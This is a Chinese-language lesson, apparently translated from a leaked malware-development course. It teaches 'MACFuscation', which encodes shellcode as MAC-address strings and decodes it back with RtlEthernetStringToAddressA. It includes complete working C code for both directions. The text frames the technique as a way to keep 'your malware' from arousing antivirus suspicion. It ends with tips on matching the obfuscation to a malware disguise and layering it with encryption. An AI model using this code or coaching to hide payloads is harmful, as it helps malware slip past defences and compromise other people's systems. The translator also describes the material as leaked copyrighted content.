模块 22 - Payload 混淆 - MACFuscation
恶意软件开发课程 - Payload 混淆 - MACFuscation
模块 22 - Payload 混淆 - MACFuscation#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
Payload 混淆 - MACFuscation#
简介#
本模块将介绍另一种类似于 IPv4/IPv6fuscation 的混淆技术,但该技术会将 shellcode 转换为 MAC 地址(Media Access Control Address,媒体访问控制地址)。
💡 初学者提示:什么是 MAC 地址?
MAC 地址是网络设备的物理地址,就像你家的门牌号一样。格式通常是 6 个十六进制数字对,用连字符或冒号分隔:
- 示例:
00-1A-2B-3C-4D-5E或00:1A:2B:3C:4D:5E- 每台电脑的网卡、路由器、手机等都有自己独特的 MAC 地址
- 因为 MAC 地址在网络配置中非常常见,所以用它来伪装 shellcode 不会引起怀疑
MACFuscation 实现#
MACFuscation 的实现与前一个模块中的 IPv4/IPv6fuscation 类似。MAC 地址由 6 个字节组成,因此 shellcode 应该是 6 的倍数,如果不满足该要求,同样可以进行填充。
// 函数接收 6 个原始字节并以 MAC 地址字符串格式返回它们
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
char Output[64];
// 创建 MAC 地址并将其保存到 'Output' 变量
// 格式: XX-XX-XX-XX-XX-XX (每个 X 是一个十六进制字符)
sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);
// 可选: 将 'Output' 变量打印到控制台
// printf("[i] Output: %s\n", Output);
return (char*)Output;
}
// 生成 shellcode 的 MAC 输出表示
// 函数需要指向 shellcode 缓冲区的指针或基地址以及 shellcode 缓冲区的大小
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
// 如果 shellcode 缓冲区为 null 或大小不是 6 的倍数,则退出
if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
return FALSE;
}
printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));
// 我们将一次读取一个 shellcode 字节,当总数为 6 时,开始生成 MAC 地址
// 变量 'c' 用于存储读取的字节数。默认情况下,从 6 开始。
int c = 6, counter = 0;
char* Mac = NULL;
for (int i = 0; i < ShellcodeSize; i++) {
// 跟踪读取的字节数,当它们达到 6 时,我们进入此 if 语句以开始生成 MAC 地址
if (c == 6) {
counter++;
// 从 6 个字节生成 MAC 地址,这些字节从 i 开始到 [i + 5]
Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);
if (i == ShellcodeSize - 6) {
// 打印最后一个 MAC 地址
printf("\"%s\"", Mac);
break;
}
else {
// 打印 MAC 地址
printf("\"%s\", ", Mac);
}
c = 1;
// 可选: 美化控制台上的输出
if (counter % 6 == 0) {
printf("\n\t");
}
}
else {
c++;
}
}
printf("\n};\n\n");
return TRUE;
}
c💡 初学者提示:MACFuscation vs IPv4/IPv6Fuscation 对比
特性 IPv4 IPv6 MAC 每组字节数 4 16 6 生成的字符串示例 252.72.131.228 FC48:83E4:… FC-48-83-E4-F0-E8 数组长度(276字节shellcode) 69 个元素 17-18 个元素 46 个元素 隐蔽性 ⭐⭐⭐⭐⭐ ⭐⭐⭐ ⭐⭐⭐⭐ 代码体积 中等 最小 中等偏小 如何选择?
- IPv4: 最常见,最不引人注意,但数组较长
- IPv6: 数组最短,但在真实程序中较少见
- MAC: 折中方案,在网络相关程序中很常见
📚 知识扩展:MAC 地址在实际程序中的应用
许多合法程序都会处理 MAC 地址:
- 网络管理工具(查看连接设备)
- VPN 客户端(绑定 MAC 地址)
- 网络监控软件(追踪设备)
- 许可证验证系统(基于 MAC 地址授权)
因此,在你的恶意软件中出现 MAC 地址字符串是完全正常的,不会引起防病毒软件的怀疑。这就是 MACFuscation 的隐蔽性所在!
去混淆 MACFuscation Payload#
去混淆过程将逆转混淆过程,允许 MAC 地址生成字节,而不是使用字节生成 MAC 地址。执行去混淆需要使用 NTDLL API 函数 RtlEthernetStringToAddressA ↗。此函数将 MAC 地址从字符串表示转换为其二进制格式。
// 定义 RtlEthernetStringToAddressA 函数指针类型
typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
PCSTR S, // MAC 地址字符串
PCSTR* Terminator, // 终止符位置
PVOID Addr // 输出的二进制地址
);
BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {
PBYTE pBuffer = NULL,
TmpBuffer = NULL;
SIZE_T sBuffSize = NULL;
PCSTR Terminator = NULL;
NTSTATUS STATUS = NULL;
// 从 ntdll.dll 获取 RtlEthernetStringToAddressA 地址
fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
if (pRtlEthernetStringToAddressA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 获取 shellcode 的真实大小,即 MAC 地址数量 * 6
sBuffSize = NmbrOfElements * 6;
// 分配将保存去混淆 shellcode 的内存
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
TmpBuffer = pBuffer;
// 循环遍历保存在 MacArray 中的所有 MAC 地址
for (int i = 0; i < NmbrOfElements; i++) {
// 一次去混淆一个 MAC 地址
// MacArray[i] 是数组 MacArray 中的单个 Mac 地址
if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
// 如果失败
printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);
return FALSE;
}
// 每次向 TmpBuffer 写入 6 个字节
// 因此 Tmpbuffer 将递增 6 以存储接下来的 6 个字节
TmpBuffer = (PBYTE)(TmpBuffer + 6);
}
// 保存去混淆 Payload 的基地址和大小
*ppDAddress = pBuffer;
*pDSize = sBuffSize;
return TRUE;
}c💡 初学者提示:去混淆过程详解
MACFuscation 的去混淆过程与 IPv4/IPv6 基本相同:
- 获取转换工具: 找到
RtlEthernetStringToAddressA函数- 计算原始大小: MAC 地址数量 × 6 字节 = shellcode 总大小
- 分配内存: 为还原后的 shellcode 分配空间
- 循环转换:
- “FC-48-83-E4-F0-E8” →
[FC, 48, 83, E4, F0, E8]六个字节- 写入缓冲区并移动指针 6 字节
- 返回结果: 完整的原始 shellcode
就像把一串用特殊格式包装的珠子,一个个拆开包装,恢复原样!
下图显示去混淆过程成功运行。

🎯 总结#
在本模块中,我们学习了:
- MACFuscation 概念: 将 shellcode 字节转换为 MAC 地址格式的混淆技术
- 混淆实现: 每 6 个字节生成一个 MAC 地址(格式:
XX-XX-XX-XX-XX-XX) - 去混淆实现: 使用
RtlEthernetStringToAddressAAPI 将 MAC 地址还原为原始字节 - 实用性: MAC 地址在网络程序中很常见,具有良好的隐蔽性
💡 关键要点
- MAC 地址由 6 字节组成,shellcode 必须是 6 的倍数
- 使用连字符(-)分隔的十六进制格式
RtlEthernetStringToAddressA是 Windows 官方 API,使用它不会引起怀疑- 相比 IPv4,数组长度适中;相比 IPv6,在实际程序中更常见
📚 混淆技术对比总结
| 混淆方法 | 字节/元素 | 优势 | 劣势 |
|---|---|---|---|
| IPv4Fuscation | 4 | 最常见,隐蔽性最佳 | 数组较长 |
| IPv6Fuscation | 16 | 数组最短,代码体积小 | 较少见,可能引起注意 |
| MACFuscation | 6 | 平衡的选择 | 没有明显劣势 |
🎯 实战建议
- 网络工具: 如果你的恶意软件伪装成网络工具,优先选择 MACFuscation
- 通用场景: IPv4Fuscation 是最保险的选择
- 体积优先: 如果需要减小二进制体积,选择 IPv6Fuscation
- 多层防护: 可以先加密,再进行混淆,提供双重保护
📚 下一步学习
下一个模块将介绍 UUIDFuscation,这是另一种基于 UUID(通用唯一识别码)的混淆技术,在 Windows 程序中极为常见!